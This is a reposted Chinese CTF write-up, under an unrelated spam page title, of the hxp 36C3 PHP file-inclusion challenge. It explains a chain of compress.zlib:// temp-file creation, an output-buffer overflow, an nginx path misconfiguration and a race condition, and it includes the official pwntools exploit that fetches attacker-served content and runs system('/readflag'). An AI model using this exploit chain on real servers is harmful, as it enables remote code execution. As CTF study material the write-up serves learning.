您的位置:首页 > 健康 > 美食 > 求个a站_北京网络法庭_巨量算数数据分析_360搜索引擎

求个a站_北京网络法庭_巨量算数数据分析_360搜索引擎

2025/6/28 13:22:26 来源:https://blog.csdn.net/m0_74800552/article/details/147000096  浏览:    关键词:求个a站_北京网络法庭_巨量算数数据分析_360搜索引擎
求个a站_北京网络法庭_巨量算数数据分析_360搜索引擎
<?php
declare(strict_types=1);$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";try {if (stripos(file_get_contents($_POST['file']), '<?') === false) {include_once($_POST['file']);}
}
finally {system('rm -rf '.escapeshellarg($rand_dir));
}

文件包含位置:include_once($_POST['file']);

我们的目的是上传php文件让该函数包含执行其中的php代码。

不过可以看到有重重阻碍:
        $rand_dir:生成临时文件目录

        stripos(file_get_contents($_POST['file']), '<?'):检测文件中是否包含 PHP 代码的开头标签<?

如果我们想上传php文件,并且执行,就得先思考如何绕过<?的检测:

        这里可以使用一直上传大量数据的垃圾文件与检测后端建立连接,然后在file_get_contents()识别垃圾文件内容时认为是无害的这个时候上传我们的<?php?>内容的文件,也就是说tmp文件需要在这两种文件之间疯狂切换。

compress.zlib://

流封装器(Stream Wrapper),用于直接对文件进行 Zlib 压缩或解压缩 读写操作。

不过了解了php底层对这个功能的描述后,发现我们可以用它创建包含任意内容的临时文件:

PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{if (newstream == NULL) {return PHP_STREAM_FAILED;}*newstream = NULL;if (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {*newstream = origstream;return PHP_STREAM_UNCHANGED;}/* 创建临时文件并将数据流存入其中 */if (flags & PHP_STREAM_PREFER_STDIO) {*newstream = php_stream_fopen_tmpfile();} else {*newstream = php_stream_temp_new();}// ... 

现在我们能够上传垃圾临时文件了,假如我们上传成功了,那我们去哪得到文件文件路径呢?

这就涉及到利用大量name参数导致PHP output buffer溢出

name={}&file=compress.zlib://http://kaibro.tw:5487'''.format("a"*8050).replace("\n","\r\n")

最后有了路径我们还得通过NGINX配置错误获得临时文件名

.well-known../files/sandbox/

通过访问临时文件位置执行文件包含漏洞

所以整个流程总结如下:

1、利用compress.zlip://http:// 来上传垃圾文件,并保持HTTP长链接竞争保存我们的临时文件

2、利用超长name溢出 output buffer 得到sandbox路径

3、利用NGINX配置错误获取tmp文件文件名

4、发送另一个请求包含我们的tmp文件,此时并没有PHP代码

5、绕过stripos(file_get_contents($_POST['file']), '<?')检测后,发送PHP代码,include_once()包含PHP代码执行

官方解析:

hxp 36C3 CTF

官方payload:

from pwn import *
import requests
import re
import threading
import timefor gg in range(100):r = remote("78.47.165.85", 8004)l = listen(5487)payload = '''POST / HTTP/1.1
Host: 78.47.165.85:8004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Length: 8098
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1name={}&file=compress.zlib://http://kaibro.tw:5487'''.format("a"*8050).replace("\n","\r\n")r.send(payload)r.recvuntil("your sandbox: ")dirname = r.recv(70)print("[DEBUG]:" + dirname)# send trashc = l.wait_for_connection()resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8AAA
BBB'''.replace("\n","\r\n")c.send(resp)# get filenamer2 = requests.get("http://78.47.165.85:8004/.well-known../"+ dirname + "/")tmpname = "php" + re.findall(">php(.*)<\/a",r2.text)[0]print("[DEBUG]:" + tmpname)def job():time.sleep(0.26)phpcode = 'wtf<?php system("/readflag");?>';c.send(phpcode)t = threading.Thread(target = job)t.start()# file_get_contents and include tmp fileexp_file = dirname + "/" + tmpnameprint("[DEBUG]:"+exp_file)r3 = requests.post("http://78.47.165.85:8004/", data={'file':exp_file})print(r3.status_code,r3.text)if "wtf" in r3.text:breakt.join()r.close()l.close()#r.interactive()

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com